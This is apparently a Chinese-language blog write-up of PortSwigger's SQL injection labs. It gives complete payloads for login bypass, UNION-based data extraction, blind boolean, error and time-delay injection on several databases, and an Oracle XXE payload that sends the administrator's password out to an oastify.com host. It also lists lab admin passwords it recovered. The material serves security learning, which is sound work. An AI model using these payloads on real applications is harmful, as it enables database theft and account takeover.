portswigger 靶场之 SQL 注入篇
前言
偶然发现 burp 竟有官方靶场,且配备有视频观看,不胜惊叹,遂记录于下
- 前言
- WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据
- 允许绕过登录的 SQL 注入漏洞
- SQL 注入 UNION 攻击,确定查询返回的列数
- SQL 注入 UNION 攻击,查找包含文本的列
- SQL注入 UNION 攻击,从其他表中检索数据
- SQL注入UNION攻击,在单个列中检索多个值
- SQL注入攻击,查询 Oracle 上的数据库类型和版本
- SQL注入攻击,在 MySQL 和 Microsoft 上查询数据库类型和版本
- SQL注入攻击,列出非 Oracle 数据库上的数据库内容
- SQL注入攻击,列出Oracle上的数据库内容
- 具有条件响应的盲 SQL 注入
- 具有条件错误的盲 SQL 注入
- 具有时间延迟的盲 SQL 注入
- 具有时间延迟和信息检索的盲SQL注入
- 带外交互的盲 SQL 注入
- 带外数据泄露的盲 SQL 注入
- 通过 XML 3编码绕过过滤器的 SQL 注入
WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据
-
目的为查看隐藏的数据,所有产品
-
URL 中输入单引号,查看是否存在漏洞,服务器返回一个错误,借以得知容易受到 SQL 注入攻击
-
URL 中输入
'+OR+1=1--
(查询字符串中空格被编码成+
号)-
数据库执行的 SQL 查询则为
-
SELECT * FROM products WHERE category = ''or 1=1-- ' AND released = 1
-
通过
'
来闭合参数,--
来注释后半部分
-
-
bp
允许绕过登录的 SQL 注入漏洞
- 目的为以管理员用户登录应用程序
- 尝试账号密码为
admin
。网页显示,Invalid username or password,无效的用户名或密码,故此不知道是用户名还是密码错误。 - 从实验室说明中查的用户名为
administrator
- 在
Username
中输入any' or 1=1 --
,密码随便写毕竟会被注释掉- 用
any'
来闭合参数,or
一个为真即可通过,--
是 sql 的注释语法注释掉后面的密码
- 用
- 在
Username
中输入administrator'--
,密码随便写毕竟会被注释掉 - 浏览器连上代理,在登录页面用 bp 抓包,修改其参数
SQL 注入 UNION 攻击,确定查询返回的列数
- 目的为查找列数为多少,两种方法,可以用
order by
和union
- ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序
- UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
- URL 中输入
' order by 1--
' order by 2--
' order by 3--
- 网站正常显示
- 直到输入了“
' order by 4--
”,服务器抛出了一个错误,这表明试图排序的列不存在,也就是说只有 3 列
- URL 中输入
' union select null--
' union select null,null--
- 服务器皆返回了一个错误,这表明不只有一两列存在
' union select null,null,null--
网站正常显示,这说明是有三列数据存在
- 在 bp 中
- 浏览器需要进行 URL 编码,在 bp 中 可以用快捷键 Ctrl + U 来为其添加
- 确定列数为 3
SQL 注入 UNION 攻击,查找包含文本的列
- 通过枚举
' order by 数字--'
得知总共有 3 列数据存在 - 然后在
' union select null,'1',null--
的参数中替换字符串数据借以得知与哪列相匹配- 错误的话,说明不是字符串类型的
- 成功,数据类型是“字符串”
- 最后替换文中所给的字符串
SQL注入 UNION 攻击,从其他表中检索数据
-
检索所有用户名和密码,administrator
-
得知数据库包列名为
users
username
password
-
通过联合查询查找空字符串,
' union select null,null--
得知可以返回两列 -
测试
' union select '1','2'--
得知两列为字符串类型 -
最后通过
' union select username,password from users--
得知账号密码登录即可-
后台 SQL 查询为
select & from products where category = 'Gifts' union select username,password from users-- ' AND released = 1
-
SQL注入UNION攻击,在单个列中检索多个值
-
用
' order by'
来迭代' order by 3
服务器显示错误提示,得知列数为 2
-
通过
' union select null,'a'--
来看是否接收字符串类型- 页面正常输出表示可以接受字符串类型
-
数据库
-
' union select null,version()--
——查询PostgreSQL数据库版本- 网站返回结果,说明数据库是PostgreSQL
-
' union select null,@@version--
——查询MySQL数据库版本- 失败
-
-
在单个列中检索需要用到字符串的连接,PostgreSQL的连接为
||
' union select null,username ||'_'|| password from users--
- administrator_9wif5hcpr46lfc99l2yi
SQL注入攻击,查询 Oracle 上的数据库类型和版本
-
用
' order by'
来迭代找到列数' order by 3-- '
500,实践证明列数为 2
-
-- Oracle 查询数据库版本 Oracle SELECT banner FROM v$version SELECT version FROM v$instance
-
在 URL 或者 bp 软件中输入
' union select null,banner from v$version-- '
SQL注入攻击,在 MySQL 和 Microsoft 上查询数据库类型和版本
-
依然是
'+order+by+3--+
两列 -
' union select @@version,null--
SQL注入攻击,列出非 Oracle 数据库上的数据库内容
-
通过
' union select null,null-- '
查得是两列 -
其次确定每列的字段数据类型
-
查询数据库类型
-
PostgreSQL 查询数据库应为
' union select version(),null-- '
,查询结果为 200,说明数据库是PostgreSQL-
PostgreSQL SELECT * FROM information_schema.tables ELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
-
-
-
紧接着,要列出数据库中存在的表以及这些表包含的列
- 表
' union select table_name,null from information_schema.tables-- '
——查询数据库的表名- 一般
users_
开头的表名,存放着用户名和密码,所以 Ctrl + f 搜索users_
- 找到了users_squiqq
- 列
' union select column_name,null from information_schema.columns where table_name='users_squiqq'-- '
- username_fklyld
- password_vqihba
- 表
-
检索所有的用户名和密码
' union select username_fklyld,password_vqihba from users_squiqq--
- 找到 administrator 的密码为 kb1zf7n2k5jf1gxst3q8
SQL注入攻击,列出Oracle上的数据库内容
-
确定列数为 2 ,
' union select null,null from dual--
- 数据库 Oracle 查询需要加
from dual
- 数据库 Oracle 查询需要加
-
查看每列的数据类型
' union select 'a','b' from dual--
,页面 200,表明是字符型
-
因为数据库是“Oracle”
-
Oracle SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`
-
-
紧接着,要列出数据库中存在的表以及这些表包含的列
-
从 [SQL injection cheat sheet](SQL injection cheat sheet | Web Security Academy (portswigger.net))中找到 Oracle 的数据表是 all_tables
-
通过搜索 all_tables Oracle 找到表的字段名是
TABLE_NAME
-
找到包含用户密码的表的名字
' union select TABLE_NAME,null from all_tables--
- 一般
users_
开头的表名,存放着用户名和密码,所以 Ctrl + f 搜索users_
得到USERS_EKARCY
-
找到包含用户密码的列的名字
- 从 [SQL injection cheat sheet](SQL injection cheat sheet | Web Security Academy (portswigger.net))中找到 all_tab_columns,这是一个数据表的名字;通过搜索 all_tab_columns Oracle找到表的字段名是
COLUMN_NAME
' union select COLUMN_NAME,null from all_tab_columns where table_name = 'USERS_EKARCY'--
- USERNAME_VYRGKY
- PASSWORD_TWCYAQ
- 从 [SQL injection cheat sheet](SQL injection cheat sheet | Web Security Academy (portswigger.net))中找到 all_tab_columns,这是一个数据表的名字;通过搜索 all_tab_columns Oracle找到表的字段名是
-
最后查询用户名和密码登录即可
' union select USERNAME_VYRGKY,PASSWORD_TWCYAQ from USERS_EKARCY--
- administrator;q6jra0hcl8lu1hmjge4m
-
具有条件响应的盲 SQL 注入
- 目标为枚举管理员密码,以管理员用户登录。如果查询有结果,页面会显示“welcome back”
- 首先要确认参数容易受到 SQL 注入
- 在 cookie 中注入参数
-
welcome back --> true
' and 1=1--
TrackingId=fL8CZZ0ptOt9cR8T' and 1=1--
,前面参数一定是 true, 1=1 也是 true
-
no welcome back --> false
TrackingId=fL8CZZ0ptOt9cR8T' and 1=0--
,前面参数一定是 true, 1=0 是 false。true and false = false
-
- 服务器根据
' and 1=1--
(true)和' and 1=0--
(false)做出不同响应,所以可以使用盲注来推断数据库中的内容
- 在 cookie 中注入参数
-
确认数据库中存在用户表"users"
-
' and (select 'x' from users limit 1) = 'x'--
-
'x' = 'x'
--> true;返回 welcome back -
limit 子句用于限制 SELECT 语句中查询的数据的数量,limit 1,限制查询结果为 1
-
- 确认用户表中有用户名字段“administrator”
' and (select username from users where username='administrator') = 'administrator'--
'administrator' = 'administrator'
--> true;返回 welcome back,说明 administrator 的用户名字段存在
- 找到管理员用户 administrator 的密码长度
' and (select 'a' from users where username='administrator' and length(password)>1)='a'--
'a'='a'
--> true;返回 welcome back- send to intruder
- 测试对应位置的密码字符
- 用到一个函数,SUBSTRING(password,m,n),password 是字段名,m 是检索的起始位置,n 是数量。SUBSTRING() 函数从字符串中提取一些字符
- 使用 burp 的 Cluster bomb 爆破,随即登录即可
' and (select SUBSTRING(password,1,1) from users where username='administrator')='a'--
- f9126lip1a49h41x6b17
不是很懂,参考了视频(4) SQL Injection - Lab #11 Blind SQL injection with conditional responses - YouTube
具有条件错误的盲 SQL 注入
-
审题
- 题目中依旧是给出了数据表 users,字段 username、password,账户名 administrator
- 本练习使用 Oracle 数据库
- 应用程序不会根据查询是否返回任何行而做出任何不同的响应
- 如果 SQL 查询导致错误,则应用程序将返回自定义错误消息。
-
证明参数是易受攻击的
- 添加
'
--> 返回了 500 - 删除
'
--> 返回了 200 ' || (select '') ||'
--> 返回了 500,说明数据库是 oracle database' || (select '' from dual) ||'
--> 返回了 200' || (select '' from abcde) ||'
--> 返回了 500,abcde 是编造的不存在的数据表
- 添加
-
验证该
users
表是否存在-
'||(select '' from users where rownum = 1)||'
--> 200 说明了 users 是表存在的 -
-
rownum = 1
- 代表查询返回一行
- MySQL 支持 LIMIT 语句来选取指定的条数数据
- Oracle 可以使用 ROWNUM 来选取
-
||
- 在 Oracle中,
||
运算符可以将两个或两个以上的字符串连接在一起。string1 || string2
- 在 Oracle中,
-
-
-
确认管理员
administrator
字段-
'||(select case when(1=1) then to_char(1/0) else '' end from users where username='administrator' )||'
--> 500,验证条件(when (1=1))是否为真,接收到错误的时候为真(1/0),即确定存在管理员字段administrator
-
case when (1=1) then to_char(1/0) else '' end -- 1/0 会导致错误
-
CASE表达式可以在 SQL 中实现if-then-else型的逻辑
case when 判断语句1 then 返回1 when 判断语句2 then 返回2 …… else 返回n end
-
-
密码的长度
'||(select case when length(password)>1 then to_char(1/0) else '' end from users where username='administrator' )||'
-- 500,条件(条件是密码长度大于 1)为真返回错误
-
最后确认密码
-
同样是使用
SUBSTR()
函数从密码中提取单个字符 -
'||(select case when substr(password,1,1)='a' then to_char(1/0) else'' end from users where username='administrator')||'
-
case when substr(password,1,1)='a' then to_char(1/0) else '' end
-
输出 http 状态码为 500 的时候,说明找到了密码
- administrator
- th7zlh5neuj8mfp5eu4e
-
具有时间延迟的盲 SQL 注入
-
首先确定数据库是哪个
-
'||(select sleep(10))-- '
--> -
'||(select pg_sleep(10))-- '
--> 发现需要 10s 的响应时间 -
select tracking-id from tracking-table where trackingid='pvhzsNX3X3hoWEpS'||(select pg_sleep(10))-- ';
-
具有时间延迟和信息检索的盲SQL注入
-
查看是否存在 SQL 注入
-
x'%3BSELECT+CASE+WHEN(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
--> 验证需要 10s 的延迟 -
x'%3BSELECT+CASE+WHEN(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
--> 不延迟 -
%3b 是为了关闭初始查询,亦即
;
-
-
是否存在用户 administrator
x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
--> 延迟说明存在 administrator
-
确认密码长度
x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
--> 延迟说明密码长度大于 1,后续直接 send to intruder,最后获知长度为 20
-
确认密码
- 依旧是使用
SUBSTRING()
函数,不再一一述说了 x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--
- 依旧是使用
带外交互的盲 SQL 注入
- 目的为利用 SQL 注入漏洞并导致 DNS 查找
- 用 bp 获得域名,点击左上角的“Burp Collaborator client”,
- mi8yxtn3qtnpoh63xlday2g2ltrjf8.oastify.com
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://mi8yxtn3qtnpoh63xlday2g2ltrjf8.oastify.com/"> %remote;]>'),'/l') FROM dual--
EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://mi8yxtn3qtnpoh63xlday2g2ltrjf8.oastify.com/"> %remote;]>'),'/l')
EXTRACTVALUE函数接受一个XMLType实例和一个XPath表达式作为参数,并返回结果节点的标量值。
带外数据泄露的盲 SQL 注入
- 依旧是上个题目的套路
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.pa3ibzffnv0xwjux3xrj6wdci3oucj.oastify.com/"> %remote;]>'),'/l') FROM dual--
通过 XML 3编码绕过过滤器的 SQL 注入
- 需要装一个插件 Hackvertor。使用说明Hackvertor-Github